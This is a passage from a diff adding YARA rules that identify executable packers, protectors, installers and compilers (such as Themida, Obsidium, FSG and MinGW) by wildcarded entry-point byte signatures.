+		$1 = {54 E8 ?? ?? ?? ?? 5D 8B C5 81 ED 71 44 ?? ?? 2B 85 64 60 ?? ?? EB 43 DF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PESPin_v13__Cyberbob_
+{
+	meta:
+		description = "PESPin v1.3 -> Cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 88 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 CD 4E 40 00 8B 42 3C 03 C2 89 85 D7 4E 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D EB 4E 40 00 53 8F 85 E1 4C 40 00 EB 07 FA EB 01 FF EB 04 E3 EB F8 69 8B 59 38 03 DA 8B 3B 89 BD 90 4F 40 00 8D 5B 04 8B 1B 89 9D 95 4F 40 00 E8 00 00 00 00 58 01 68 05 68 D3 65 0F E2 B8 77 CE 2F B1 35 73 CE 2F B1 03 E0 F7 D8 81 2C 04 13 37 CF E1 FF 64 24 FC FF 25 10 BB ?? 00 00 00 B9 84 12 00 00 8D BD C6 4F 40 00 4F EB 07 FA EB 01 FF EB 04 E3 EB F8 69 30 1C 39 FE CB 49 9C EB 04 01 EB 04 CD EB FB 2B C1 2C 24 06 F7 14 24 83 24 24 01 50 52 B8 79 B2 DC 12 05 44 4D 23 ED F7 64 24 08 8D 84 28 20 2F 40 00 89 44 24 08 5A 58 8D 64 24 04 FF 64 24 FC FF EA EB EB 01 C8 E8 01 00 00 00 68 58 FE 48 1F 0F 84 94 02 00 00 75 01 9A 81 70 03 E8 98 68 EA 83 C0 21 80 40 FB EB A2 40 02 00 E0 91 32 68 CB 00 00 00 59 8D BD 7E 61 40 00 E8 03 00 00 00 EB 04 FA EB FB 68 83 04 24 0C C3 8D C0 0C 39 02 49 9C E8 03 00 00 00 EB 04 8D EB FB FF 83 04 24 0C C3 A3 C1 2C 24 06 F7 14 24 83 24 24 01 50 52 B8 61 B2 DC 12 05 44 4D 23 ED F7 64 24 08 8D 84 28 B2 2F 40 00 89 44 24 08 5A 58 8D 64 24 04 FF 64 24 FC 9A}
+		$1 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 AC DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _VisualUPX_02__emadicius_
+{
+	meta:
+		description = "VisualUPX 0.2 -> emadicius"
+	strings:
+		$0 = {66 C7 05 ?? ?? ?? 00 75 07 E9 ?? FE FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _EP_v20_
+{
+	meta:
+		description = "EP v2.0"
+	strings:
+		$0 = {6A ?? 60 E9 01 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Gentee_Installer_Custom_
+{
+	meta:
+		description = "Gentee Installer Custom"
+	strings:
+		$0 = {55 8B EC 81 EC 14 04 00 00 53 56 57 6A 00 FF 15 08 41 40 00 68 00 50 40 00 FF 15 04 41 40 00 85 C0 74 29 6A 00 A1 00 20 40 00 ?? ?? ?? ?? 41 40 00 8B F0 6A 06 56 FF 15 1C 41 40 00 6A 03 56 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PowerBASICCC_30x_
+{
+	meta:
+		description = "PowerBASIC/CC 3.0x"
+	strings:
+		$0 = {55 8B EC 53 56 57 BB 00 ?? ?? 00 66 2E F7 05 ?? ?? ?? 00 04 00 0F 85}
+	condition:
+		$0 at entrypoint
+}
+rule _MegaLite_120_
+{
+	meta:
+		description = "MegaLite 1.20"
+	strings:
+		$0 = {B8 00 00 BA 00 00 05 00 00 3B 2D 73 67 72 1B B4 09 BA 18 01 CD 21 CD 90 4E 6F 74 20 65 6E 6F 75 67 68 20 6D 65 6D 6F 72 79 24 2D 20 00 8E D0 2D 00 00 8E C0 50 B9 00 00 33 FF 56 BE 42 01 FC F2 A5 CA FD 8C DB 53 83 C3 00 03 DA 8C CD 8B C2 80}
+	condition:
+		$0 at entrypoint
+}
+rule _Khrome_Crypt_03_
+{
+	meta:
+		description = "Khrome Crypt 0.3"
+	strings:
+		$0 = {B9 EB 09 B8 05 FE EB FC 80 C4 3B EB F4 EB 37 90 FE DF DF DF DF DF DF DF DF DF DF DF DF DF DF FE DD 20 4B 68 72 6F 6D 65 20 43 72 79 70 74 20 DE FE DC DC DC DC DC DC DC DC DC DC DC DC DC DC FE EF 00 00 00 00 00 EB 02 66 BC D9 FF EB 02 66 BC}
+	condition:
+		$0 at entrypoint
+}
+rule _NFO_v1x_modified_
+{
+	meta:
+		description = "NFO v1.x modified"
+	strings:
+		$0 = {60 9C 8D 50}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1304__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.0.4 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 01 ?? 33 C0 EB 01 ?? 8B 00 EB 01 ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 58 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 01 ?? E8 3B 26 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ORiEN_103__A_Fisun_
+{
+	meta:
+		description = "ORiEN 1.03 -> A. Fisun"
+	strings:
+		$0 = {E8 FD 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 5B EB 01}
+		$1 = {E8 FD 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_PE_Pack_099__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PE Pack 0.99] --> Anorganix"
+	strings:
+		$0 = {60 E8 11 00 00 00 5D 83 ED 06 80 BD E0 04 90 90 01 0F 84 F2 FF CC 0A}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Virtualization_Suite_30X__Thinstall_Company_
+{
+	meta:
+		description = "Thinstall Virtualization Suite 3.0X -> Thinstall Company"
+	strings:
+		$0 = {9C 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 BA FE FF FF E9 ?? ?? ?? ?? CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA ?? ?? ?? ?? 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 ?? ?? ?? ?? E8 DF 00 00 00 73 1B 55 BD ?? ?? ?? ?? E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB}
+		$1 = {9C 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 BA FE FF FF E9 ?? ?? ?? ?? CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA}
+		$2 = {9C 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 BA FE FF FF E9 ?? ?? ?? ?? CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA ?? ?? ?? ?? 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 ?? ?? ?? ?? E8 DF 00 00 00 73 1B 55 BD ?? ?? ?? ?? E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PseudoSigner_02_FSG_131_
+{
+	meta:
+		description = "PseudoSigner 0.2 [FSG 1.31"
+	strings:
+		$0 = {BE 90 90 90 00 BF 90 90 90 00 BB 90 90 90 00 53 BB 90 90 90 00 B2 80}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Shield_v27_
+{
+	meta:
+		description = "Exe Shield v2.7"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 5D 55 5B 81 ED 8B 85 01 85 66 C7 85}
+		$1 = {EB 06 68 F4 86 06 00 C3 9C 60 E8 02 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Morphine_v12_DLL_
+{
+	meta:
+		description = "Morphine v1.2 (DLL)"
+	strings:
+		$0 = {00 00 00 ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 5B ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00}
+		$1 = {00 00 00 ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _WWPack32_v1x_
+{
+	meta:
+		description = "WWPack32 v1.x"
+	strings:
+		$0 = {53 55 8B E8 33 DB EB 60}
+	condition:
+		$0 at entrypoint
+}
+rule _Themida_10xx__18xx_no_compression__Oreans_Technologies_
+{
+	meta:
+		description = "Themida 1.0.x.x - 1.8.x.x (no compression) -> Oreans Technologies"
+	strings:
+		$0 = {55 8B EC 83 C4 D8 60 E8 00 00 00 00 5A 81 EA ?? ?? ?? ?? 8B DA C7 45 D8 00 00 00 00 8B 45 D8 40 89 45 D8 81 7D D8 80 00 00 00 74 0F 8B 45 08 89 83 ?? ?? ?? ?? FF 45 08 43 EB E1 89 45 DC 61 8B 45 DC C9 C2 04 00 55 8B EC 81 C4 7C FF FF FF 60 E8 00 00 00 00 5A 81 EA ?? ?? ?? ?? 8D 45 80 8B 5D 08 C7 85 7C FF FF FF 00 00 00 00 8B 8D 7C FF FF FF D1 C3 88 18 41 89 8D 7C FF FF FF 81 BD 7C FF FF FF 80 00 00 00 75 E3 C7 85 7C FF FF FF 00 00 00 00 8D BA ?? ?? ?? ?? 8D 75 80 8A 0E BB F4 01 00 00 B8 AB 37 54 78 D3 D0 8A 0F D3 D0 4B 75 F7 0F AF C3 47 46 8B 8D 7C FF FF FF 41 89 8D 7C FF FF FF 81 F9 80 00 00 00 75 D1 61 C9 C2 04 00 55 8B EC 83 C4 F0 8B 75 08 C7 45 FC 00 00 00 00 EB 04 FF 45 FC 46 80 3E 00 75 F7 BA 00 00 00 00 8B 75 08 8B 7D 0C EB 7F C7 45 F8 00 00 00 00 EB}
+		$1 = {55 8B EC 83 C4 D8 60 E8 00 00 00 00 5A 81 EA ?? ?? ?? ?? 8B DA C7 45 D8 00 00 00 00 8B 45 D8 40 89 45 D8 81 7D D8 80 00 00 00 74 0F 8B 45 08 89 83 ?? ?? ?? ?? FF 45 08 43 EB E1 89 45 DC 61 8B 45 DC C9 C2 04 00 55 8B EC 81 C4 7C FF FF FF 60 E8 00 00 00 00}
+		$2 = {55 8B EC 83 C4 D8 60 E8 00 00 00 00 5A 81 EA ?? ?? ?? ?? 8B DA C7 45 D8 00 00 00 00 8B 45 D8 40 89 45 D8 81 7D D8 80 00 00 00 74 0F 8B 45 08 89 83 ?? ?? ?? ?? FF 45 08 43 EB E1 89 45 DC 61 8B 45 DC C9 C2 04 00 55 8B EC 81 C4 7C FF FF FF 60 E8 00 00 00 00 5A 81 EA ?? ?? ?? ?? 8D 45 80 8B 5D 08 C7 85 7C FF FF FF 00 00 00 00 8B 8D 7C FF FF FF D1 C3 88 18 41 89 8D 7C FF FF FF 81 BD 7C FF FF FF 80 00 00 00 75 E3 C7 85 7C FF FF FF 00 00 00 00 8D BA ?? ?? ?? ?? 8D 75 80 8A 0E BB F4 01 00 00 B8 AB 37 54 78 D3 D0 8A 0F D3 D0 4B 75 F7 0F AF C3 47 46 8B 8D 7C FF FF FF 41 89 8D 7C FF FF FF 81 F9 80 00 00 00 75 D1 61 C9 C2 04 00 55 8B EC 83 C4 F0 8B 75 08 C7 45 FC 00 00 00 00 EB 04 FF 45 FC 46 80 3E 00 75 F7 BA 00 00 00 00 8B 75 08 8B 7D 0C EB 7F C7 45 F8 00 00 00 00 EB}
+		$3 = {55 8B EC 83 C4 D8 60}
+	condition:
+		$0 at entrypoint or $1 or $2 or $3 at entrypoint
+}
+rule _Morphine_v33__Silent_Software__Silent_Shield_c2005_
+{
+	meta:
+		description = "Morphine v3.3 -> Silent Software & Silent Shield (c)2005"
+	strings:
+		$0 = {BB 00 BD 46 00 83 EC 04 89 1C 24 ?? B9 ?? 00 00 00 80 33 ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _AppLok_95_20_
+{
+	meta:
+		description = "AppLok 95 2.0"
+	strings:
+		$0 = {55 8B EC 83 C4 F4 E8 2D 36 FD FF E8 EC 4B FD FF E8 27 7B FD FF E8 EA E4 FD FF E8 21 E6 FD FF E8 6C 05 FE FF E8 73 7C FE FF E8 4E 49 FF FF E8 DD 81 FF FF E8 AC AB FF FF A1 24 16 43 00 E8 92 3F FF FF BA 34 FE 42 00 A1 24 16 43 00 E8 AF 3C FF}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Cpp_50__60_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 5.0 / 6.0)"
+	strings:
+		$0 = {8D 50 12 2B C9 B1 1E 8A 02 34 77 88 02 42 E2 F7 C8 8C}
+		$1 = {33 D2 0F BE D2 EB 01 C7 EB 01 D8 8D 05 80 ?? ?? ?? EB 02 CD 20 EB 01 F8 BE F4 00 00 00 EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_01x__Dwing_
+{
+	meta:
+		description = "Upack 0.1x -> Dwing"
+	strings:
+		$0 = {BE 48 01 40 00 AD 8B F8}
+	condition:
+		$0 at entrypoint
+}
+rule _PEiDBundle_102_DLL__BoB__BobSoft_
+{
+	meta:
+		description = "PEiD-Bundle 1.02 DLL -> BoB / BobSoft"
+	strings:
+		$0 = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 00 08 00 39 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__MS_Visual_Cpp__Borland_Cpp__Watcom_Cpp_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (MS Visual C++ / Borland C++ / Watcom C++)"
+	strings:
+		$0 = {EB 02 C7 85 1E EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB 02 CD}
+	condition:
+		$0 at entrypoint
+}
+rule _Batch_Compiler_10_
+{
+	meta:
+		description = "Batch Compiler 1.0"
+	strings:
+		$0 = {FC BD 58 01 8B 6E 00 8B 66 02 8B 5E 04 B4 4A CD 21 A1 2C 00 89 46 1A 8B 5E 00 FF E3}
+	condition:
+		$0 at entrypoint
+}
+rule _fasm__Tomasz_Grysztar_
+{
+	meta:
+		description = "fasm -> Tomasz Grysztar"
+	strings:
+		$0 = {53 55 56 8B 74 24 14 85 F6 57 B8 01 00 00 00}
+		$1 = {6A 24}
+		$2 = {6A 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _SPLayer_v008_
+{
+	meta:
+		description = "SPLayer v0.08"
+	strings:
+		$0 = {8D 40 00 B9 ?? ?? ?? ?? 6A ?? 58 C0 0C ?? ?? 48 ?? ?? 66 13 F0 91 3B D9 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+		$1 = {8D 40 00 B9 ?? ?? ?? ?? 6A ?? 58 C0 0C ?? ?? 48 ?? ?? 66 13 F0 91 3B D9 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Enigma_protector_110111__Vladimir_Sukhov_
+{
+	meta:
+		description = "Enigma protector 1.10/1.11 -> Vladimir Sukhov"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 ED 06 81 ED ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 EB 02 FF 35 60 E8 24 00 00 00 00 00 FF EB 02 CD 20 8B 44 24 0C 83 80 B8 00 00 00 03 31 C0 C3 83 C0 08 EB 02 FF 15 89 C4 61 EB 2E EA EB 2B 83 04 24 03 EB 01 00 31 C0 EB 01 85 64 FF 30 EB 01 83 64 89 20 EB 02 CD 20 89 00 9A 64 8F 05 00 00 00 00 EB 02 C1 90 58 61 EB 01 3E EB ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 01 E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 05 F6 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 B9 3D 1A}
+		$1 = {60 E8 00 00 00 00 5D 83 ED 06 81 ED ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 EB 02 FF 35 60 E8 24 00 00 00 00 00 FF EB 02 CD 20 8B 44 24 0C 83 80 B8 00 00 00 03 31}
+		$2 = {60 E8 00 00 00 00 5D 83 ED 06 81 ED ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 EB 02 FF 35 60 E8 24 00 00 00 00 00 FF EB 02 CD 20 8B 44 24 0C 83 80 B8 00 00 00 03 31 C0 C3 83 C0 08 EB 02 FF 15 89 C4 61 EB 2E EA EB 2B 83 04 24 03 EB 01 00 31 C0 EB 01 85 64 FF 30 EB 01 83 64 89 20 EB 02 CD 20 89 00 9A 64 8F 05 00 00 00 00 EB 02 C1 90 58 61 EB 01 3E EB ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 01 E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 05 F6 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 B9 3D 1A}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint
+}
+rule _MinGW_32x_Dll_main_
+{
+	meta:
+		description = "MinGW 3.2.x (Dll_main)"
+	strings:
+		$0 = {55 89 E5 83 EC 18 89 75 FC 8B 75 0C 89 5D F8 83 FE 01 74 5C 89 74 24 04 8B 55 10 89 54 24 08 8B 55 08 89 14 24 E8 96 01 00 00 83 EC 0C 83 FE 01 89 C3 74 2C 85 F6 75 0C 8B 0D 00 30 00 10 85 C9 75 10 31 DB 89 D8 8B 5D F8 8B 75 FC 89 EC 5D C2 0C 00 E8 59 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_UPX_0896__102__105__124__emadicius_
+{
+	meta:
+		description = "MSLRH v0.32a (fake UPX 0.89.6 - 1.02 / 1.05 - 1.24) -> emadicius"
+	strings:
+		$0 = {60 BE 00 90 8B 00 8D BE 00 80 B4 FF 57 83 CD FF EB 3A 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 0B 75 19 8B 1E 83 EE FC 11 DB 72 10 58 61 90 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+		$1 = {60 BE 00 90 8B 00 8D BE 00 80 B4 FF 57 83 CD FF EB 3A 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 0B 75 19 8B 1E 83 EE FC 11 DB 72 10 58 61 90 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PKLITE_v100c_1_
+{
+	meta:
+		description = "PKLITE v1.00c (1)"
+	strings:
+		$0 = {2E 8C 1E ?? ?? 8B 1E ?? ?? 8C DA 81 C2 ?? ?? 3B DA 72 ?? 81 EB ?? ?? 83 EB ?? FA 8E D3 BC ?? ?? FB FD BE ?? ?? 8B FE}
+		$1 = {2E 8C 1E ?? ?? 8B 1E ?? ?? 8C DA 81 C2 ?? ?? 3B DA 72 ?? 81 EB ?? ?? 83 EB ?? FA 8E D3 BC ?? ?? FB FD BE ?? ?? 8B FE}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Compact_105_
+{
+	meta:
+		description = "Compact 1.05"
+	strings:
+		$0 = {81 FC E8 80 77 04 B4 4C CD 21 FC BF 00 41 BE 00 01 B9 00 00 F3 A4 E9 00 40 BE 52 41 BF 00 01 AD 8B D6 8A D8 B7 00 03 F3 AC 3A C4 75 0D AC 3A C4 74 08 56 8B F2 8B CB F3 A4 5E AA 81 FF 00 00 72 E7 BF 52 41 88 0E 16 41 FE 0E 51 41 75 C0 E9 AF}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Cpp_60__70_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)"
+	strings:
+		$0 = {87 C0 EB ?? 71 ?? 02 D8}
+		$1 = {0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? 00 EB 02 CD 20 03 D3 8D 35 F4 00 00 00 EB 01 35 EB 01 88 80 CA 7C 80 F3 74 8B 38 EB 02 AC BA 03 DB E8 01 00 00 00 A5 5B C1 C2 0B 81 C7 DA 10 0A 4E EB 01 08 2B D1 83 EF 14 EB 02 CD 20 33 D3 83 EF 27}
+		$2 = {0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? ?? EB 02 CD 20 03 D3 8D 35 F4 00}
+		$3 = {87 FE E8 02 00 00 00 98 CC 5F BB 80 ?? ?? 00 EB 02 CD 20 68 F4 00 00 00 E8 01 00 00 00 E3}
+		$4 = {F7 D8 40 49 EB 02 E0 0A 8D 35 80 ?? ?? ?? 0F B6 C2 EB 01 9C 8D 1D F4 00 00 00 EB 01 3C 80}
